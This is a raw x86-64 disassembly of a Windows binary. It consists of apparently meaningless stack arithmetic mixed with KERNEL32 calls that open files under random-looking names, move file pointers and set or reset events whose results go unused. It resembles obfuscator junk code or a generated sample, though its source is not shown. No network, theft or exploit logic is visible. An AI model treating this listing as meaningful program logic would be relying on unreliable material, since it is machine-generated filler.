call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13bc], eax
movsx eax, word [rsp + 0x21c]
movsx ecx, word [rsp + 0x5b8]
and eax, ecx
mov rcx, qword [rsp + 0x3de0]
mov word [rcx], ax
mov rax, qword [rsp + 0x1768]
movzx eax, word [rax]
mov word [0x1400fd758], ax
mov rax, qword [rsp + 0x980]
mov rax, qword [rax]
mov qword [rsp + 0x41e8], rax
movzx eax, word [rsp + 0x3a4]
movzx ecx, word [rsp + 0x2218]
add eax, ecx
mov word [rsp + 0x5d0], ax
lea rax, [rsp + 0x5f8]
mov qword [rsp + 0x3300], rax
mov rax, qword [rsp + 0x37a8]
mov rcx, qword [rsp + 0xa30]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x36b0], rax
mov rcx, qword [rsp + 0x1e68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x11b8], eax
movsx eax, byte [rsp + 0x10e]
mov rcx, qword [rsp + 0x36b8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2388]
mov byte [rcx], al
mov rax, qword [rsp + 0x36c0]
mov eax, dword [rax]
mov dword [rsp + 0x3424], eax
mov rax, qword [rsp + 0x3978]
mov rcx, qword [rsp + 0x14b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x818], rax
movzx eax, word [rsp + 0x5c4]
mov rcx, qword [rsp + 0x11f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf24], ax
mov rax, qword [0x1400fd6f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3168]
or rcx, rax
mov rax, rcx
mov qword [0x1400fc3f8], rax
movzx eax, byte [rsp + 0xf8]
movzx ecx, byte [rsp + 0xe5]
shl eax, cl
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x2368]
mov rcx, qword [rsp + 0x948]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x23d0]
mov dword [rcx], eax
lea rax, [rsp + 0x490]
mov qword [rsp + 0x2cd0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.QlLGEhGqR1nFVCxhPflN8ZXMYSVN7d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2998], rax
mov rcx, qword [rsp + 0x4b00]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1684], eax
movzx eax, word [rsp + 0x318]
movzx ecx, word [rsp + 0x6f4]
sar eax, cl
mov word [rsp + 0x42c], ax
lea rax, [rsp + 0x1bb]
mov qword [rsp + 0x3fb8], rax
mov rax, qword [0x1400fd6d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x29c8]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x5230
mov rcx, qword [rsp + 0x2d80]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3494], eax
mov rax, qword [rsp + 0x1da8]
mov rcx, qword [rsp + 0x2798]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x25b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1b20]
movzx eax, word [rax]
mov word [rsp + 0x15b4], ax
mov rax, qword [rsp + 0xd68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe60]
add eax, ecx
mov word [0x1400fc530], ax
mov rax, qword [rsp + 0x1b30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3058]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1bf8], rax
mov rax, qword [0x1400fd298]
mov rcx, qword [rsp + 0x980]
mov qword [rsp + 0x4b08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b08]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3848], rax
mov rax, qword [rsp + 0x3258]
mov rcx, qword [rsp + 0x1790]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1180]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x2450]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1104], eax
movsx eax, word [rsp + 0x360]
mov rcx, qword [rsp + 0x23a0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x270], ax
mov rax, qword [rsp + 0x4150]
mov eax, dword [rax]
mov dword [rsp + 0x26d4], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x54d7
mov rcx, qword [rsp + 0x3de8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe14], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3c50], rax
mov rax, qword [rsp + 0x7b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x911]
sub eax, ecx
mov rcx, qword [rsp + 0x10b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3c0]
mov rax, qword [rax]
mov qword [rsp + 0x3888], rax
movzx eax, byte [rsp + 0xfb]
cdq
mov ecx, 0xfb
idiv ecx
mov byte [rsp + 0x15b], al
mov rax, qword [rsp + 0x1058]
mov rcx, qword [rsp + 0x970]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x10e0], eax
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1580]
shl eax, cl
mov rcx, qword [0x1400fd3f8]
mov word [rcx], ax
movzx eax, word [0x1400fc3b4]
movzx ecx, word [rsp + 0x88c]
or eax, ecx
mov rcx, qword [rsp + 0x25d0]
mov word [rcx], ax
movzx eax, word [rsp + 0x36c]
mov rcx, qword [rsp + 0x2670]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x430], ax
mov rax, qword [0x1400fd6f0]
mov rax, qword [rax]
mov qword [rsp + 0x3f80], rax
movsx eax, byte [rsp + 0x3f0]
mov rcx, qword [rsp + 0x1bc8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1340]
mov byte [rcx], al
lea rax, [rsp + 0x1e50]
mov qword [rsp + 0x3e88], rax
mov eax, dword [0x1400fc46c]
mov ecx, dword [rsp + 0x79c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3070]
mov dword [rcx], eax
movsx eax, word [rsp + 0xee8]
mov rcx, qword [rsp + 0x38e0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x6a0], ax
movzx eax, word [rsp + 0x44c]
mov rcx, qword [rsp + 0x1fa8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x4d4], ax
lea rax, [0x1400fd188]
mov qword [0x1400fd760], rax
mov rax, qword [rsp + 0x2bd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbf4]
sub eax, ecx
mov word [rsp + 0x5b0], ax
lea rax, [rsp + 0x4b10]
mov qword [rsp + 0x3800], rax
mov rax, qword [0x1400fc520]
mov rcx, qword [rsp + 0xd08]
mov qword [rsp + 0x4b18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b18]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x760], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1b9
mov rcx, qword [rsp + 0x2b88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1ab4], eax
mov rax, qword [rsp + 0x24b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1950]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x24a0]
mov byte [rcx], al
mov eax, 0x38
imul rax, rax, 2
lea rcx, [0x14006f6f0]
mov qword [rsp + rax + 0x5b68], rcx
mov rax, qword [rsp + 0x36c8]
mov rax, qword [rax]
mov qword [rsp + 0x54f0], rax
mov rcx, qword [rsp + 0x1330]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcd4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.9H8JloXNfr0itZ4gwY3J8Ih
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3e68], rax
mov rax, qword [rsp + 0x1ca0]
mov ecx, dword [rsp + 0xad8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x340]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1090]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfa]
cdq
idiv ecx
mov byte [rsp + 0x54d], al
mov eax, dword [rsp + 0xdf0]
mov rcx, qword [rsp + 0x2878]
mov qword [rsp + 0x4b20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b20]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x510], eax
mov rax, qword [rsp + 0x3008]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
xor eax, ecx
mov word [0x1400fc4ec], ax
mov rax, qword [rsp + 0x1190]
movzx eax, word [rax]
mov word [rsp + 0xc18], ax
mov rcx, qword [rsp + 0x2f90]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x211c], eax
mov rax, qword [rsp + 0xf70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6a8]
or eax, ecx
mov word [rsp + 0xed0], ax
movzx eax, word [rsp + 0x4a0]
movzx ecx, word [rsp + 0x44c]
sar eax, cl
mov word [rsp + 0x220], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x265
mov rcx, qword [rsp + 0x23e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7a8], eax
lea rax, [rsp + 0xf98]
mov qword [rsp + 0x31e0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4c10], rax
mov rax, qword [rsp + 0x2280]
movsx eax, byte [rax]
mov rcx, qword [0x1400fd628]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2ec8]
mov byte [rcx], al
lea rax, [rsp + 0xdf0]
mov qword [rsp + 0x4010], rax
mov rax, qword [rsp + 0x1490]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x18d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xab0], ax
mov rax, qword [rsp + 0xd68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3f28]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x700], ax
mov rax, qword [rsp + 0xb20]
mov rcx, qword [rsp + 0x18e8]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400fd6a0], rax
lea rax, [rsp + 0x2880]
mov qword [rsp + 0x3b90], rax
mov rax, qword [rsp + 0x2c08]
mov rcx, qword [0x1400fd620]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1838]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1188]
mov qword [rsp + 0x40c8], rax
movzx eax, word [rsp + 0x864]
movzx ecx, word [rsp + 0xbe0]
sar eax, cl
mov word [rsp + 0x6a4], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x7657
mov rcx, qword [rsp + 0x2b90]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe08], eax
mov rax, qword [rsp + 0x1b80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x820]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1b08]
mov byte [rcx], al
lea rax, [rsp + 0xe0c]
mov qword [rsp + 0x4f60], rax
mov rcx, qword [rsp + 0x4b28]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4320], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xd5ea
mov rcx, qword [rsp + 0x32a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x112c], eax
mov rcx, qword [rsp + 0x2ff8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1b00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x10d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xba0], eax
mov rax, qword [0x1400fd5c0]
mov rcx, qword [rsp + 0x1a58]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2da0], rax
mov rax, qword [rsp + 0x100]
movzx eax, byte [rax]
mov byte [0x1400fd136], al
movsx eax, word [rsp + 0xe64]
mov rcx, qword [rsp + 0x2b50]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x6a0], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xbe21
mov rcx, qword [rsp + 0x2ed0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x34b4], eax
movsx eax, word [rsp + 0x368]
mov rcx, qword [rsp + 0xa58]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x12d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb30]
movzx eax, word [rax]
mov word [rsp + 0x20a4], ax
mov rax, qword [0x1400fc438]
mov rcx, qword [rsp + 0x1518]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x12f8], rax
mov rax, qword [rsp + 0x2958]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x31e0]
mov qword [rsp + 0x4b30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b30]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x2f68], rax
mov rax, qword [rsp + 0x2ef8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1840]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x11f], al
mov rax, qword [0x1400fd358]
mov eax, dword [rax]
mov dword [rsp + 0x26f8], eax
mov rax, qword [rsp + 0x2398]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1068]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5c8], ax
lea rax, [rsp + 0xeec]
mov qword [0x1400fd768], rax
mov rax, qword [0x1400fc520]
mov rcx, qword [rsp + 0x4b38]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3760], rax
lea rax, [rsp + 0x428]
mov qword [rsp + 0x1fd0], rax
mov rax, qword [rsp + 0x1468]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1bd]
sub eax, ecx
mov byte [rsp + 0x130], al
lea rax, [0x1400fc384]
mov qword [rsp + 0x4e60], rax
mov rax, qword [rsp + 0x1260]
mov rcx, qword [rsp + 0x1ae0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x29e8], rax
mov eax, dword [rsp + 0x34b8]
movzx ecx, al
mov eax, dword [rsp + 0x2138]
shr eax, cl
mov rcx, qword [rsp + 0x2370]
mov dword [rcx], eax
movzx eax, byte [0x1400fc383]
mov byte [rsp + 0x1d5c], al
mov rcx, qword [rsp + 0x1728]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2114], eax
mov rax, qword [rsp + 0x1068]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x155c]
and eax, ecx
mov word [rsp + 0x164], ax
mov rax, qword [rsp + 0x4128]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x880]
xor eax, ecx
mov word [0x1400fd178], ax
mov rax, qword [rsp + 0x3ad0]
mov rcx, qword [rsp + 0x1c68]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3b58], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xe49e
mov rcx, qword [rsp + 0x2998]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xdf8], eax
mov rax, qword [rsp + 0x4b40]
mov rcx, qword [rsp + 0xd50]
mov qword [rsp + 0x4b48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b48]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x2a80]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1d4]
movsx ecx, word [0x1400fc4f0]
add eax, ecx
mov word [rsp + 0x314], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3cd0], rax
movzx eax, word [rsp + 0x5c4]
mov word [rsp + 0x2028], ax
movsx eax, byte [rsp + 0xea]
movsx ecx, byte [rsp + 0x3eb]
sub eax, ecx
mov rcx, qword [rsp + 0x23b0]
mov byte [rcx], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x47c5
mov rcx, qword [rsp + 0x1c98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1980], eax
mov rax, qword [rsp + 0x12a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x30a0]
mov qword [rsp + 0x4b50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b50]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x3770], rax
mov rax, qword [rsp + 0x1450]
mov ecx, dword [rsp + 0x20ec]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2cf8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x23c0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x20f0], eax
mov rax, qword [rsp + 0x1c48]
mov rax, qword [rax]
mov rcx, qword [0x1400fd220]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x790]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1068]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1240]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1400fd158]
mov word [rcx], ax
movzx eax, word [rsp + 0x45c]
mov word [rsp + 0x3600], ax
mov rax, qword [rsp + 0x1758]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2e20]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1c4], al
mov eax, dword [rsp + 0xb94]
mov dword [rsp + 0x26c0], eax
mov rax, qword [rsp + 0x2ad0]
mov rcx, qword [rsp + 0x1000]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9c0], rax
movsx eax, byte [rsp + 0x82]
movsx ecx, byte [rsp + 0x235]
sub eax, ecx
mov byte [rsp + 0xe4f], al
mov rax, qword [rsp + 0x2888]
movzx ecx, al
mov rax, qword [rsp + 0x1a8]
shr rax, cl
mov qword [rsp + 0x1348], rax
mov eax, dword [rsp + 0xac4]
mov rcx, qword [rsp + 0x1150]
mov qword [rsp + 0x4b58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b58]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x514], eax
movzx eax, word [0x1400fc3e0]
mov word [rsp + 0x2214], ax
lea rax, [rsp + 0x590]
mov qword [0x1400fd770], rax
mov rax, qword [rsp + 0x2008]
mov rcx, qword [rsp + 0xc90]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xfe0], rax
lea rax, [0x1400fd6e0]
mov qword [rsp + 0x4b80], rax
mov rax, qword [rsp + 0x1fe8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1068]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xff8]
mov word [rcx], ax
mov rax, qword [rsp + 0x22f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3210]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3258], rax
mov rax, qword [0x1400fd6d8]
mov ecx, dword [rsp + 0x1394]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x111c], eax
mov rax, qword [rsp + 0x24f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x911]
add eax, ecx
mov byte [rsp + 0x171], al
mov rax, qword [rsp + 0x3c0]
mov rax, qword [rax]
mov qword [rsp + 0x4080], rax
movzx eax, word [0x1400fd64c]
movzx ecx, word [rsp + 0x4a4]
sar eax, cl
mov rcx, qword [rsp + 0x19b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x29d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1d60]
add rcx, rax
mov rax, rcx
mov qword [0x1400fc4c8], rax
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1378]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x26c0], eax
mov eax, 0x38
imul rax, rax, 4
mov dword [rsp + rax + 0x5b70], 0xcae231f1
movzx eax, byte [rsp + 0x1bd]
mov byte [rsp + 0x584], al
movsx eax, word [rsp + 0x7c]
movsx ecx, word [rsp + 0x70c]
and eax, ecx
mov word [rsp + 0x4c8], ax
mov rax, qword [rsp + 0x19e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x88]
and eax, ecx
mov word [rsp + 0xbfc], ax
mov rax, qword [rsp + 0x1e60]
mov rcx, qword [rsp + 0x12a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x36d0], rax
movzx eax, byte [rsp + 0x15d]
mov byte [rsp + 0x1d5b], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.QFhYsfD4sFlG
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3878], rax
mov rcx, qword [rsp + 0x1728]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 1
xor r8d, r8d
mov edx, 0xf3bc
mov rcx, qword [rsp + 0x23f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcec], eax
mov eax, dword [rsp + 0x10fc]
mov ecx, dword [0x1400fc4e8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1178]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1d70]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x740]
mov word [rcx], ax
mov rcx, qword [rsp + 0x22a8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2808], eax
mov rax, qword [rsp + 0x1fd0]
movzx eax, word [rax]
mov word [0x1400fd778], ax
mov rax, qword [rsp + 0x1c48]
mov rcx, qword [rsp + 0x1020]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4b60], rax
mov rax, qword [rsp + 0x22b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x780]
mov qword [rsp + 0x4b68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b68]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2890], rax
mov rax, qword [rsp + 0x3b90]
mov rax, qword [rax]
mov qword [rsp + 0x2ab0], rax
movsx eax, word [0x1400fc514]
movsx ecx, word [rsp + 0x868]
sar eax, cl
mov word [rsp + 0x4ac], ax
mov rax, qword [rsp + 0x828]
mov eax, dword [rax]
add eax, dword [rsp + 0x56c]
mov rcx, qword [rsp + 0xd60]
mov dword [rcx], eax
movsx eax, byte [0x1400fc383]
movsx ecx, byte [rsp + 0x15c]
sub eax, ecx
mov byte [rsp + 0x1bc], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x65f1
mov rcx, qword [rsp + 0x3088]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x34b4], eax
mov rcx, qword [rsp + 0x1bb8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.HyVTWm8jY0wTsS4sS_nAZxq
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3fe0], rax
mov rcx, qword [rsp + 0x1910]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1ad8]
mov rax, qword [rax]
add rax, qword [rsp + 0x2898]
mov rcx, qword [rsp + 0x2530]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3e78]
mov eax, dword [rax]
mov dword [rsp + 0x26e0], eax
mov rax, qword [rsp + 0x1428]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1b08]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x1828]
mov byte [rcx], al
movsx eax, word [rsp + 0x3ac]
movsx ecx, word [rsp + 0x85c]
sar eax, cl
mov word [0x1400fc534], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x7780
mov rcx, qword [rsp + 0x2ed8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x27f4], eax
mov rax, qword [rsp + 0x23e8]
movzx eax, word [rax]
movzx ecx, word [0x1400fd168]
and eax, ecx
mov rcx, qword [rsp + 0x14f8]
mov word [rcx], ax
movzx eax, word [rsp + 0x268]
mov word [rsp + 0x35fc], ax
mov rax, qword [rsp + 0x7c8]
mov rcx, qword [rsp + 0x1700]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1750], rax
mov rcx, qword [rsp + 0x3c50]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2788], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xdec4
mov rcx, qword [rsp + 0x3e68]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478], eax
mov rax, qword [rsp + 0x30e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1890]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3f48], rax
mov eax, dword [rsp + 0x1a50]
mov ecx, dword [rsp + 0x10e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1108], eax
mov rax, qword [rsp + 0x1be0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1430]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x171], al
lea rax, [rsp + 0xc0c]
mov qword [rsp + 0x2df8], rax
movzx eax, word [rsp + 0x15e8]
mov rcx, qword [rsp + 0x1258]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x89c], ax
mov rax, qword [0x1400fd3a0]
mov rcx, qword [rsp + 0x2640]
xor rcx, rax
mov rax, rcx
mov qword [0x1400fc440], rax
mov rax, qword [rsp + 0x2d00]
movzx eax, word [rax]
mov word [rsp + 0x2024], ax
mov rax, qword [rsp + 0x39b8]
movzx ecx, al
mov rax, qword [rsp + 0x1298]
sar rax, cl
mov qword [rsp + 0x2ee0], rax
mov rcx, qword [rsp + 0xc60]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2164], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.Ngeo1w36fDg_r9Yq
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5168], rax
lea rax, [rsp + 0x3df0]
mov qword [rsp + 0x3bf0], rax
mov rax, qword [0x1400fd530]
mov rcx, qword [rsp + 0x3128]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2250]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x36d8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f0], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x9d33
mov rcx, qword [rsp + 0x23f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8fc], eax
mov rax, qword [rsp + 0x538]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x135]
add eax, ecx
mov rcx, qword [rsp + 0x298]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4c00], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xbf4a
mov rcx, qword [rsp + 0x2900]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xdf4], eax
lea rax, [rsp + 0x94]
mov qword [rsp + 0x54f8], rax
movzx eax, byte [rsp + 0x16c]
mov rcx, qword [rsp + 0x520]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x1998]
mov byte [rcx], al
lea rax, [rsp + 0x9a4]
mov qword [rsp + 0x5500], rax
mov rax, qword [rsp + 0x2a00]
movzx eax, word [rax]
mov word [0x1400fd77c], ax
mov rax, qword [rsp + 0x2660]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd70]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x1b60]
mov word [rcx], ax
mov rcx, qword [rsp + 0x4068]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x431c], eax
mov rax, qword [rsp + 0x19e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28c]
and eax, ecx
mov word [rsp + 0x36c], ax
movzx eax, word [rsp + 0x5ac]
movzx ecx, word [0x1400fc44c]
sub eax, ecx
mov word [rsp + 0xc3c], ax
mov eax, dword [rsp + 0xbd0]
movzx ecx, al
mov eax, dword [rsp + 0x7ac]
shr eax, cl
